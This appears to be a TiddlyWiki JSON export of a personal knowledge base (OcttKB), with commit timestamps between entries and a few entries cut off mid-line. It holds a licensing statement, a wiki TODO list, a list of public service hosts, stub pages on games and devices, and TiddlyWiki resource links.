{"created":"20220924173239034","creator":"Octt","text":"All my //original content// on this website, unless where otherwise specified, is licensed under [[CC BY-SA 4.0|Creative Commons/BY-SA 4.0:en]].\n\nIt is a [[free culture]] license that promotes the benefits of making information available for anyone to learn from and build upon. However, be sure to know its terms before doing anything other than just consuming the site!\n\nYou can easily recognize which of the directly hosted (entirely contained in a //tiddler// itself, like text, string-encoded files, or standalone files in the file system) content is my original creation: it's anything that features no indication of source or license.\n\nUnless I forget to do so in specific instances, I always credit the source and/or specify the original license for anything upon which I don't hold 100% of the rights (even public domain content) and is a straight copy. I may not do so if the content in question is not directly copied //into// my site, but instead embedded from a Web space which is the property of another entity - in which case, a clickable link directing to the source will be present; if not, you can click the pencil-shaped (edit) button to read the source code for a specific //tiddler//, to discover possible external embed URLs.\n\nThe above is valid for all //content tiddlers// (those whose name does not start with `$:/`) and all //system tiddlers// created by me (not part of standard [[TiddlyWiki|TiddlyWiki]] or any of my [[installed plugins|$:/core/ui/ControlPanel/Plugins]]).\n\n//Non-original system tiddlers// which I never touched, obviously fall under their own license; but, for simplicity of operations, as well as to avoid accidentally claiming ownership on code not written by me, I hereby explicitly give away my copyright for //non-original system tiddlers// that I modified from their original state. This means you can consider those as always falling under their original license, even if I touched them; From another point of view, you can effectively consider any //diff// generated between the original version of a //system tiddler// and my modified version of the same file as falling under public domain.\n\n{{$:/OcttKB/LicensingButtons}}","tags":"OcttKB Legal $:/i18n:en","title":"OcttKB/Licensing","modified":"20230206113209759","modifier":"Octt"},
{"created":"20230126105640952","creator":"Octt","text":"!!! ''WIP/TODO''\n\n* Move all bachecoctt links (and old GitHub stars) to proper tiddlers\n* Personal easy notes on various technical things of TiddlyWiki\n* Organize all my customizations into plugins easily installable by anyone\n* On showing date and time of last wiki saving (on Index tab on sidebar), also consider when a system tiddler is edited\n\n* Breadcrumbs bar:\n** Show unformatted title on click or at least disable hiding of some tokens\n** Button to copy full path to clipboard\n\n* In whatever directory listing, show button to create a new tiddler in current path\n\n* Custom proper reusable directory tree browser (maybe like the one we have with $:/OcttKB/ToC)\n** To use instead of the [[Directory macros|$:/Macros/Directory]], showing automatically on pages that are directories, and also as a file browser for the whole wiki\n\n* Data compression of everything (without breaking TiddlyWiki CLI support)\n** Choosing algorithm: best is probably Zstd\n** Tiddlers should be stored compressed individually; At saving, they are all compressed and stored in the HTML; At loading, they are read and decompressed to start the app\n** Single tiddlers are only compressed when it actually saves space, they should be checked at saving stage\n\n* When opening missing tiddlers, show a preview from Wikipedia or from word dictionaries, with GUI to customize fetching options\n* To the possible extent, save Git deploy scripts for the KB inside itself, for easy editing needs\n* Case insensitivity for tiddlers (?)\n* Handy button to reload direct scripts like $:/OcttKB/Functions.js\n* A way to reload any internal script (JS macros and exports) without reloading the entire wiki\n* Button to reload a single tiddler; if not possible, then the macros that can fail (e.g. MediaWiki, or all which fetch content from the Internet) should provide their own retry button\n* Fix images embedded with CSS float, make them not go out of tiddler's body if too tall\n* Better positioning of open/close sidebar button (should move the tiddler action bar buttons slightly to the left on single-column layout at least)\n\n* Add a feature to let users send issues or pull requests\n* Maybe add normal user comments?\n\n* Rehost embedded games for better CSS\n** Find the best retro console HTML5 emulator to embed in tiddlers which talk about certain games - they also need to be adapted to load ROMs from URL\n\n* In here I also put some tiddlers that are about a mainstream thing or topic just because they are connected to a more worthy tiddler; they should be tagged as Mainstream so that they can be filtered out in search and stuff\n* Special protection for some tiddlers, not encryption necessarily but just lock access to them globally until a specific task is performed (a password inputted is boring, maybe specific screen swipes is better)\n\n* \"Back to top\" button\n** Made with the style of bilibili, graphic is reused but logic needs to be reprogrammed\n\n!!!! ''Nice to have''\n* When tiddlers are transcluded show a small version of their action bar without the `\u003C\u003C{ >>` macro\n* Automatic lightboxes for images, without having to use the `\u003C\u003Cibox>>` macro\n\n!!!! ''i18n''\n* Make the language bar collapsed by default, or make it a menu callable by a button on the tiddler\n** Show the button as a country flag in the tiddler title maybe? Ideally showing it in place of the \":lang\" suffix when present\n* Selecting to open a language on a tiddler should ideally remove the previously open tiddler from the story river (or else if you switch language many times you have a cluttered river but no real advantage)\n* Automatically handle connections between different-language versions of a tiddler when the only difference in title is the \":lang\" suffix, without manually setting \"i18n\" attribute\n* Automatically handle eventual tiddlers which don't exist by their common i18n name (e.g \"Thing\") but do with a \":lang\" suffix, that should automatically transclude the //preferred language//\n**
{"created":"20230108195546523","text":"The following entities host miscellaneous useful open-source Internet services for the public. Some are classifiable as [[pubnixes|Pubnix:en]].\n\n* [[adminForge|https://services.adminforge.de]]\n* [[Artemis|https://artemislena.eu/services]]\n* [[Bączek|https://baczek.me/decentralisation]]\n* [[Brotherbear Den|https://stuehieyr.com]]\n* [[bus-hit.me|https://bus-hit.me/#services]]\n* [[dcs0|https://dcs0.hu]]\n* [[CachyOS|https://github.com/CachyOS/CachyOS-services/blob/master/README.md]]\n* [[Devol|https://devol.it]]\n* [[dhusch.de|https://dhusch.de]]\n* [[Disroot|https://disroot.org/en]]\n* [[domain.glass|https://domain.glass]]\n* [[Drivet|https://drivet.xyz/services]]\n* [[envs.net|https://envs.net]]\n* [[Esmail EL BoB|https://esmailelbob.xyz/en]]\n* [[Epic Site|https://epicsite.xyz]]\n* [[Freedit|https://freedit-org.github.io/status]]\n* [[foss.wtf|https://foss.wtf]]\n* [[Garuda Linux|https://start.garudalinux.org]]\n* [[GGC-Project|https://www.ggc-project.de/index.html#services]]\n* [[Hostux|https://hostux.network/en]]\n* [[Jae.fi|https://jae.fi/#public-services]]\n* [[kavin.rocks|https://kavin.rocks]]\n* [[LibertaCasa|https://liberta.casa]]\n* [[Lunar.ICU|https://service.lunar.icu]]\n* [[ManaSiWibi|https://manasiwibi.com/public-instance-services]]\n* [[Mask.sh|https://mask.sh]]\n* [[Miaoute (4201337.xyz)|https://4201337.xyz]]\n* [[Ming Di Leom (mdleom.com)|https://mdleom.com/about/#Services]]\n* [[Mico Hautaluoma (mha.fi)|https://mha.fi/services]]\n* [[mint.lgbt|https://mint.lgbt]]\n* [[namazso|https://namazso.eu]]\n* [[Odyssey346|https://odyssey346.dev/posts/selfhost]]\n* [[Plausibility|https://plausibility.cloud]]\n* [[Plus St|https://plus.st]]\n* [[PrivacyDev|https://privacydev.net/services.html]]\n* [[Privex+PrivacyTools|https://www.privex.io/articles/privacy-frontends]]\n* [[Project Segfault|https://projectsegfau.lt]]\n* [[Puffyan|https://puffyan.us]]\n* [[PussTheCat.org|https://pussthecat.org]]\n* [[Riseup|https://riseup.net]]\n* [[Riverside Rocks|https://riverside.rocks]]\n* [[rtrace.io|https://status.rtrace.io]]\n* [[Stetsed's Selfhosted (selfhostable.net)|https://dash.selfhostable.net]]\n* [[Services FACiLes|https://facil.services]]\n* [[Seth For Privacy|https://status.sethforprivacy.com]]\n* [[Slipfox Network Suite|https://slipfox.xyz]]\n* [[Snopyta|https://snopyta.org]]\n* [[Strongthany|https://blog.strongthany.cc/about/#other-strongservices]]\n* [[The Froth Zone|https://status.froth.zone]]\n* [[The kitty zone|https://thekitty.zone]]\n* [[Tiekötter|https://www.tiekoetter.com/en/services]]\n* [[Tildeverse|https://tildeverse.org]]\n* [[Tinfoil-hat.net|https://tinfoil-hat.net]]\n* [[Tokhmi|https://status.tokhmi.xyz]]\n* [[TotalDarkness|https://totaldarkness.net]]\n* [[TROM.tf|https://trom.tf]]\n* [[~vern|https://vern.cc]]\n* [[Voring.me|https://status.voring.me]]\n* [[weblibre.org|https://weblibre.org]]\n* [[whatever.social|https://whatever.social]]\n* [[YuruVerse (funami.tech)|https://funami.tech]]\n* [[zaggy.nl|https://zaggy.nl]]\n\n!!! Specific single offerings\n\n* [[CryptPad|CryptPad:en]]: [[📃 Curated List|https://cryptpad.org/instances]]\n\n* [[SearX/SearXNG|SearX:en]] (Metasearch engine): [[📃 Curated List|https://searx.space]] | [[priv.au|https://priv.au]]\n\n* [[Whoogle|Whoogle:en]]: [[📃 Curated List|https://github.com/benbusby/whoogle-search#public-instances]]\n\n* [[Lingva|Lingva:en]]: [[📃 Curated List|https://github.com/TheDavidDelta/lingva-translate#instances]]\n\n* [[Libreddit|Libreddit:en]]: [[📃 Curated List|https://github.com/libreddit/libreddit-instances/blob/master/instances.md]]\n\n* [[Teddit|Teddit:en]]: [[📃 Curated List|https://codeberg.org/teddit/teddit#instances]]\n\n* [[Nitter|Nitter:en]] (Twitter frontend): [[📃 Curated List|https://xnaas.github.io/nitter-instances]]\n\n* [[Invidious|Invidious:en]]: [[📃 Curated List|https://api.invidious.io]] \u003C!--| [[com.sb|https://y.com.sb]], [[flokinet.to|https://invidious.flokinet.to]], [[lidarshield|https://invidious.lidarshield.cloud]], [[ggtyler.dev|https://iv.ggtyler.dev]], [[
2023-02-06 22:43:30 +00:00
{"created":"20230109105615720","creator":"Octt","text":"\u003C\u003CMediaWiki Papier-mâché en 2>>","title":"Papier-mâché","modified":"20230206211440622","tags":"$:/i18n:en DIY","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230114144201530","text":"\u003C\u003CMediaWiki PeerTube en 3>>","tags":"TODO Fediverse $:/i18n:en","title":"PeerTube:en","modified":"20230206111552321","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230112094752122","creator":"Octt","text":"\u003C\u003CMediaWiki Picross_3D en 2>>","tags":"Nintendo Puzzle NDS TODO $:/i18n:en Game","title":"Picross 3D:en","modified":"20230206203924225","modifier":"Octt"},
{"created":"20230114145440371","creator":"Octt","text":"\u003C\u003CMediaWiki Picross_DS en 1>>","tags":"TODO NDS Nintendo Puzzle $:/i18n:en Game","title":"Picross DS:en","modified":"20230206203924225","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230114124635690","text":"","tags":"Nintendo NDS TODO $:/i18n:en","title":"PictoChat:en","modified":"20230206111552327","modifier":"Octt"},
{"created":"20230129162927271","creator":"Octt","text":"\u003C\u003CMediaWiki Pilotwings en 2>>","tags":"$:/i18n:en","title":"Pilotwings:en","modified":"20230206111552329","modifier":"Octt"},
{"created":"20230130081850637","creator":"Octt","text":"\u003C\u003CMediaWiki Pine64 en 1>>","tags":"$:/i18n:en","title":"Pine64:en","modified":"20230206111552331","modifier":"Octt"},
{"created":"20230114154328830","text":"\u003C\u003CMediaWiki Pixelfed en 2>>\n\n* https://pixelfed.org\n* https://github.com/pixelfed","tags":"Fediverse TODO $:/i18n:en","title":"Pixelfed:en","modified":"20230206111552333","modifier":"Octt"},
{"created":"20230202110726082","creator":"Octt","text":"\u003C\u003CMediaWiki PlayStation_Portable en 3>>","tags":"Gaming Sony Console $:/i18n:en","title":"PlayStation Portable:en","modified":"20230206111552335","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205150132792","creator":"Octt","text":"","tags":"TODO","title":"PocketGo","modified":"20230205150144435","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230130082307771","creator":"Octt","text":"","tags":"TODO $:/i18n:it","title":"Pokémon Marron Merda:it","modified":"20230206111646499","modifier":"Octt"},
{"created":"20230130082217716","creator":"Octt","text":"\u003C\u003CMediaWiki Pokémon en 1>>","tags":"$:/i18n:en","title":"Pokémon:en","modified":"20230206111552338","modifier":"Octt"},
{"created":"20230117105218211","creator":"Octt","text":"A ''pseudo-operating-system'' is a software that acts (in a limited way) like an operating system, but is usually a normal application that runs on top of real OS.\n\n!!! ''Here are some''\n\n* [[daedalOS|daedalOS:en]]\n* ''OS.js'': [[Website|https://www.os-js.org]] | [[Demo|https://demo.os-js.org]] | [[Git|https://github.com/os-js]]","tags":"TODO $:/i18n:en","title":"Pseudo-OS:en","modified":"20230206111552340","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230108215508443","creator":"Octt","text":"\nA ''pubnix'' (public-unix) is a [[Unix|Unix:en]] server provided by any entity, without profit motives, to the general public. They usually exist for self-empowerment, recreational, and learning use.\n\nSome pubnixes are formally joined together in networks. One of the most popular active today is [[Tildeverse|https://tildeverse.org]].\n","tags":"Internet $:/i18n:en UNIX","title":"Pubnix:en","modified":"20230206222446135","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20221110120605389","text":"[[Python|https://www.python.org]] is a high-level, general-purpose, dynamically-typed, and garbage-collected programming language, with an extensive standard library and mandatory-indentation style.\n\n\u003Ca title=\"www.python.org, GPL &lt;http://www.gnu.org/licenses/gpl.html&gt;, via Wikimedia Commons\" href=\"https://commons.wikimedia.org/wiki/File:Python-logo-notext.svg\">\u003Cimg alt=\"Python-logo-notext\" src=\"https://upload.wikimedia.org/wikipedia/commons/c/c3/Python-logo-notext.svg\">\u003C/a>","tags":"Development $:/i18n:en","title":"Python:en","modified":"20230206111552344","modifier":"Octt"},
{"created":"20220922200129612","text":"\u003C!-- \u003C\u003Ci18n>> --->\n\n\u003C!--\nIl ''Rasperino'' (''Raspberry Pi'') è il Single-Board-Computer più epico mai creato.\n--->\n\nIl ''Rasperino'' (''Raspberry Pi'') è un Single-Board-Computer ormai dimostratosi non all'altezza, sia a livello tecnico e pratico, sia per via di come l'azienda opera da più di un anno.\n\n[img[https://assets.raspberrypi.com/static/raspberry-pi-4-labelled-f5e5dcdf6a34223235f83261fa42d1e8.png]]\n\nPiù informazioni al suo riguardo sono disponibili sul sito ufficiale: [[https://www.raspberrypi.com]].\n\nSotto lo stesso nome di Raspberry Pi, la Raspberry Foundation crea anche dei microcontrollori, oltre che questo tipo di computer completi.","tags":"Raspberry $:/i18n:it","title":"Rasperry Pi:it","modified":"20230206111646500","i18n":"RasperryPi","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205145721827","creator":"Octt","text":"","tags":"TODO","title":"Rclone","modified":"20230205145727476","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230202232607543","creator":"Octt","text":"\u003C\u003CMediaWiki ReactOS en 3>>","tags":"$:/i18n:en","title":"ReactOS:en","modified":"20230206111552347","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230109104506263","creator":"Octt","text":"\u003C\u003CMediaWiki Reddit en 1>>\n\n!!! ''Tools''\n\n* [[Unddit|https://www.unddit.com/]] - //View deleted stuff from Reddit// - [[[Git|https://github.com/gurnec/removeddit]]]","tags":"Internet","title":"Reddit","modified":"20230206193216570","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230116222004372","text":"\u003C\u003CMediaWiki RetroArch en 3>>","tags":"TODO $:/i18n:en","title":"RetroArch:en","modified":"20230206111552351","modifier":"Octt"},
{"created":"20221102121324531","creator":"Octt","text":"\u003C\u003CMediaWiki Retrogaming en 1>>\n\n!! ''Resources''\n\n!!! ''ROMs''\n* [[r/Roms Megathread|https://r-roms.github.io]]\n* [[No-Intro Romsets|https://archive.org/details/no-intro_romsets]]\n* [[Redump Romsets|https://archive.org/details/redump]]\n","tags":"Emulation Retro $:/i18n:en","title":"Retrogaming:en","modified":"20230206111552354","modifier":"Octt"},
{"created":"20230130082004553","creator":"Octt","text":"\u003C\u003CWikipediaFrame Rockchip en 5>>","tags":"$:/i18n:en","title":"Rockchip:en","modified":"20230206111552356","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205143921784","creator":"Octt","text":"","tags":"TODO Android","title":"Samsung Galaxy Ace 4","modified":"20230205144016124","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230129163358719","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung_Galaxy_Player en 1>>","tags":"$:/i18n:en","title":"Samsung Galaxy Player:en","modified":"20230206111552359","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205143805811","creator":"Octt","text":"","tags":"Android TODO","title":"Samsung Galaxy S5 Mini","modified":"20230205143840668","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230128231917475","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung en 1>>\n\nInside the community, some Samsung products, notably smartphones in general, are called various names:\n\n* ''Lagsung'' (Lag+Samsung): Because their [[OneUI]] Android interface is notoriously laggy, and considered \"gummy\" by some.\n* ''Scamsung'' (Scam+Samsung): The company's smartphones, mainly lowest-end ones, are sometimes considered so low-quality, for various factors, that they are seen as scams.\n* ''Gnusmas'': Just the word \"Samsung\" in reverse. I've only really seen 1 or 2 people use this name, and I don't know its real reason.\n* ''handwarmer'': Referred to the company's [[Exynos]] processors, used in their smartphones; they tended to heat up so much that you could use your phone as an hand warmer (sometimes hand burner!). Although nowadays these chips still have their issues compared to some counterparts, the problem that got them this name is effectively a thing of the past.","tags":"$:/i18n:en","title":"Samsung:en","modified":"20230206111552361","modifier":"Octt"},
{"created":"20230116211104011","creator":"Octt","text":"Random saved links that I should put somewhere...\n\n[Moved to private notes]","tags":"$:/i18n:en","title":"Saved Links","modified":"20230206111552363","modifier":"Octt"},
{"created":"20220924130815541","text":"!!! Replace for all files in all subdirectories\n\n```sh\nfind ./ -type f -exec sed -i \"s/Old/New/g\" {} \\;\n```","tags":"Snippets $:/i18n:en","title":"sed/Snippets","modified":"20230206111552365","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205150158602","creator":"Octt","text":"","tags":"TODO","title":"SFTP","modified":"20230205150204743","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230203222012422","creator":"Octt","text":"//A group of simple, open source Android apps without ads and unnecessary permissions, with customizable colors.//\n\n* https://simplemobiletools.com/","tags":"Android $:/i18n:en","title":"Simple Mobile Tools:en","modified":"20230206111552367","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230206204410406","creator":"Octt","text":"* https://sitoctt.octt.eu.org/","title":"sitoctt","modified":"20230206204457164","modifier":"Octt","tags":"Octt TODO"},
{"created":"20230114151517618","creator":"Octt","text":"\u003C\u003CMediaWiki Sokoban en 3>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://sokobanz.vercel.app\">>\n\n!! ''Implementations''\n\n* ''🧩 Sokoban game and automated puzzle solver (healeycodes)'': [[Web|https://sokobanz.vercel.app]] | [[Git|https://github.com/healeycodes/sokoban]]\n* 🐇 ''SokoBun'': [[Web|https://mewesk.github.io/sokobun]] | [[Git|https://github.com/MewesK/sokobun]]\n","tags":"Puzzle $:/i18n:en Game","title":"Sokoban:en","modified":"20230206203924226","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230109110607137","text":"\u003C\u003CMediaWiki Spacc/en wikispacc.miraheze.org>>","tags":"TODO $:/i18n:en","title":"Spacc:en","modified":"20230206111552372","modifier":"Octt"},
{"created":"20230110175138657","text":"\u003C\u003CMediaWiki Spacc/it wikispacc.miraheze.org>>","tags":"TableOfContents $:/i18n:it","title":"Spacc:it","modified":"20230206111646501","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205142954820","creator":"Octt","text":"","tags":"TODO","title":"SPI","modified":"20230205143012022","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230112104013755","creator":"Octt","text":"\u003C\u003CMediaWiki Splatoon en 3>>","tags":"Platformer TPS $:/i18n:en Game Nintendo","title":"Splatoon:en","modified":"20230206204047619","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205142231777","creator":"Octt","text":"","tags":"TODO Protocol","title":"SSH","modified":"20230205142247383","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230113230249689","creator":"Octt","text":"An encrypted open-source notes app with a very clean UX.\n\n* Website: [[standardnotes.com|https://standardnotes.com]]\n* Git Repos: [[github.com/standardnotes|https://github.com/standardnotes]]\n\n!! ''Listed''\n\n''Listed'' is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.\n\n* Website: [[listed.to|https://listed.to]]","tags":"TODO App $:/i18n:en","title":"Standard Notes:en","modified":"20230206111552377","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230202232653119","creator":"Octt","text":"\u003C\u003CWikipediaFrame Super_Mario_64 en>>","tags":"Nintendo $:/i18n:en Game","title":"Super Mario 64:en","modified":"20230206203924228","modifier":"Octt"},
{"created":"20230130161956837","creator":"Octt","text":"\u003C\u003CMediaWiki SuperTux en 2>>","tags":"$:/i18n:en Game","title":"Super Tux:en","modified":"20230206203924228","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230130074458840","creator":"Octt","text":"\u003C\u003CMediaWiki SuperTuxKart en 3>>","tags":"$:/i18n:en","title":"SuperTuxKart:en","modified":"20230206111552383","modifier":"Octt"},
2023-01-24 22:56:26 +00:00
{"created":"20230109112202970","creator":"Octt","text":"\u003Cdiv>\n\u003C$link to=\"OcttKB\" class=\"StartHere-Button\">[img[$:/ThirdParty/Icons/Windows/9x-Start.png]] \u003Cspan>here!\u003C/span>\u003C/$link>\n\u003C/div>\n\n{{$:/OcttKB/ToC}}\n\n\u003C!-- caption: {{$:/language/SideBar/Contents/Caption}} --->\n\n{{$:/OcttKB/LicensingButtons}}\n\n\u003Cbr>\n\n''Last edit at'' {{$:/OcttKB/LastEditTime}}","tags":"$:/tags/SideBar","title":"TableOfContents","modified":"20230124212647993","caption":"Index","modifier":"Octt","list-before":"$:/core/ui/SideBar/Open"},
2023-02-06 11:43:53 +00:00
{"created":"20221015115923815","text":"Some useful or at least miscellaneous nice-to-know tech resources.\n\n* [[Textualize|https://www.textualize.io]]: Curses but better\n* [[C++ by Example|https://readhacker.news/c/5mzeZ]]\n\n!!! ''Web Frameworks''\n\n!!!! ''Metro (Windows 8) Style''\n* https://github.com/ryanlowdermilk/metro-tile\n* https://metroui.org.ua/intro.html\n* http://www.drewgreenwell.com/projects/metrojs/themes\n* https://github.com/tholman/tileJs","tags":"Tech $:/i18n:en","title":"Tech Resources","modified":"20230206111552386","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230113231015907","creator":"Octt","text":"* https://github.com/26F-Studio/Techmino","tags":"TODO $:/i18n:en Tetris Game","title":"Techmino:en","modified":"20230206211505342","modifier":"Octt"},
{"created":"20230206204937437","creator":"Octt","text":"\u003C\u003CMediaWiki Telegram_(software) en 1>>","tags":"","title":"Telegram","modified":"20230206205147969","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205142300738","creator":"Octt","text":"","tags":"Protocol TODO","title":"Telnet","modified":"20230205142342159","modifier":"Octt"},
{"created":"20230205144623259","creator":"Octt","text":"","tags":"Android TODO","title":"Termux","modified":"20230205144712142","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230114125105418","creator":"Octt","text":"","tags":"TODO $:/i18n:en Game","title":"Tetris Effect:en","modified":"20230206203924229","modifier":"Octt"},
{"created":"20230112091241450","creator":"Octt","text":"\u003C\u003CMediaWiki Tetris en 3>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://reactgular.github.io/tetromino\">>","tags":"TODO Puzzle $:/i18n:en Game","title":"Tetris:en","modified":"20230206203924229","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205144742742","creator":"Octt","text":"","tags":"TODO","title":"Tetris/effect","modified":"20230205144822633","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230130143847729","creator":"Octt","text":"\u003C\u003C.@Wikipedia The_Legend_of_Zelda en >>","tags":"Nintendo Retro $:/i18n:en Game","title":"The Legend of Zelda:en","modified":"20230206203924230","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20220924193842295","creator":"Octt","text":"[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003CMediaWiki TiddlyWiki en 2>>\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n\u003C\u003C{ TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation Pages''\n* [[DateFormat|https://tiddlywiki.com/#DateFormat]]\n* [[EditTextWidget|https://tiddlywiki.com/#EditTextWidget]]\n* [[Table-of-Contents Macros (Examples)|https://tiddlywiki.com/#Table-of-Contents%20Macros%20(Examples)]]\n\n!!! ''Discussions''\n\u003C\u003C{ \"TiddlyWiki/Discussions\">>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]","title":"TiddlyWiki","modified":"20230206113449289","tags":"TiddlyWiki TODO","modifier":"Octt"},
{"created":"20230127155833205","creator":"Octt","text":"Discussions that helped or might help me solve problems. And also some that are just plain interesing.\n\n* [[Date time wiki last updated or saved?|https://groups.google.com/g/TiddlyWiki/c/RxJdciY7yZY]]\n* [[I want to edit something, oh no that's a transclusion|https://groups.google.com/g/TiddlyWiki/c/tYgM6kh9lNA]], [[How do I transclude an edit window of a tiddler?|https://groups.google.com/g/tiddlywiki/c/GsMkfxSPkmA/m/cxGdAieIBgAJ]], [[How to quickly navigate to a transcluded tiddler?|https://talk.tiddlywiki.org/t/how-to-quickly-navigate-to-a-transcluded-tiddler/4535/5]]\n* [[Is there way to make TiddlyWiki system-wide case insensitive?|https://groups.google.com/g/tiddlywiki/c/BcEF4fTzCj8]]\n* [[Macro to Create TOC Like Table with Dot Leader|https://talk.tiddlywiki.org/t/a-macro-to-create-toc-like-table-with-dot-leader/1232]]\n* [[Simple Javascript insertion in tiddlers (text/vnd.tiddlywiki)|https://groups.google.com/g/tiddlywiki/c/NwOI-QER2ig/m/lSLS3XolwDoJ]]\n* [[[TW5] Tag (Text) Cloud for TW5?|https://groups.google.com/g/tiddlywiki/c/_YE1pjZMFkg]], [[TagCloud plugin|https://groups.google.com/g/tiddlywiki/c/VQPaJC6yyWM]]\n* [[Setting HTML attributes with a macro?|https://groups.google.com/g/tiddlywiki/c/Qp8Fzi0BR5I/m/N65Q6thTEwAJ]]\n* [[[Plugin] Presenting TW5-Uglify! Plugin compression the TiddlyWIki way!|https://groups.google.com/g/tiddlywiki/c/-kIVw00crRQ]]\n* [[TiddlyWiki Tiddler Editor: How to Improve the Usability?|https://talk.tiddlywiki.org/t/tiddlywiki-tiddler-editor-how-to-improve-the-usability/4657]]","modified":"20230206113315728","modifier":"Octt","title":"TiddlyWiki/Discussions","tags":"TiddlyWiki $:/i18n:en"},
2023-01-11 09:18:48 +00:00
{"created":"20220922163220116","text":"\u003Cstyle>\ntr:nth-child(even) {background-color: #f2f2f2;}\n\u003C/style>","tags":"Snippets TiddlyWiki","title":"TiddlyWiki/Snippets to Test","modified":"20230111082334125"},
2023-02-06 11:43:53 +00:00
{"created":"20230206113426599","creator":"Octt","text":"!!! ''Other Wikis, Plugin Collections''\n\n* [[BrainTest|https://braintest.tiddlyspot.com]] - //tools for a digital brain//\n* [[Calendar|https://tabbed-calendar.tiddlyspot.com]] - //a tabbed picture calendar//\n* [[Joe's Blog|https://joearms.github.io]] - Contains the [[Chandler|https://joearms.github.io/#2018-12-26%20Fun%20with%20the%20TiddlyWiki]] prototype time-management tool\n* [[kookma's codes, macros, and solutions in TW|https://kookma.github.io/TW-Scripts]]\n* [[NoteSelf|https://noteself.org]] - TiddlyWiki fork/flavor with interesting features built-in - [[[Git|https://github.com/NoteSelf]]]\n* [[Projectify|https://thaddeusjiang.github.io/Projectify]] - //Project management for TiddlyWiki// - [[[Git|https://github.com/ThaddeusJiang/Projectify]]]\n* [[Saq's TW5 Sandbox|https://saqimtiaz.github.io/tw5-plugins-sandbox]] - //Experimental doodads//\n* [[Stroll|https://giffmex.org/stroll/stroll.html]] - //A Roam-like experience in a free, downloadable file//\n* [[The public musings of Soren Bjornstad (Zettelkasten)|https://zettelkasten.sorenbjornstad.com]]\n* [[TiddlyMap|http://tiddlymap.org]] - //Map drawing and topic visualization for your wiki!// - [[[Git|https://github.com/felixhayashi/TW5-TiddlyMap]]]\n* [[Tobias Beer's Plugins and Resources|https://tobibeer.github.io]] - [[[Profile|https://tobibeer.github.io/tb5/#Tobias%20Beer]]] [[[Git|https://github.com/tobibeer]]]\n* [[TW5 CPL Wiki|https://tw-cpl.netlify.app]] - //TiddlyWiki5 Plugin Library for TiddlyWiki Chinese Communities//\n* [[TW5 Magick|https://tw5magick.tiddlyspot.com]] - //Some tricks and snippets for TiddlyWiki 5//\n* [[ZemoxWiki|https://zemox.tiddlyspot.com]] - //a haphazard meandering of notes, thoughts, experiments, links...//\n\n!!!! ''Individual Plugins''\n\n* [[CodeMirrorPlus|https://adithya-badidey.github.io/TW5-codemirror-plus/]] - //A better editor for TW5, based on ~CodeMirror// - [[Demo|https://adithya-badidey.github.io/TW5-codemirror-plus/wiki.html]] | [[Git|https://github.com/adithya-badidey/TW5-codemirror-plus]]\n* [[Context Plugin|https://contextplugin.tiddlyspot.com]] - //search with context//\n* [[ECharts|https://tiddly-gittly.github.io/tw-echarts]] [[[Git|https://github.com/tiddly-gittly/tw-echarts]], [[Thread|https://talk.tiddlywiki.org/t/echarts-bringing-amazing-visualization-tools-to-tiddlywiki/1944]]] - //An All-in-one Visualization Framework for TiddlyWiki5 based on ECharts//\n* [[enable-js|http://tobibeer.github.io/tw/enable-js]] - //using inline script tags//\n* [[ibox|https://tobibeer.github.io/tw/ibox]] - //pretty-show images in tw5//\n* [[Relink|https://flibbles.github.io/tw5-relink]] - //flexibility when relinking renamed tiddlers//\n* [[Section 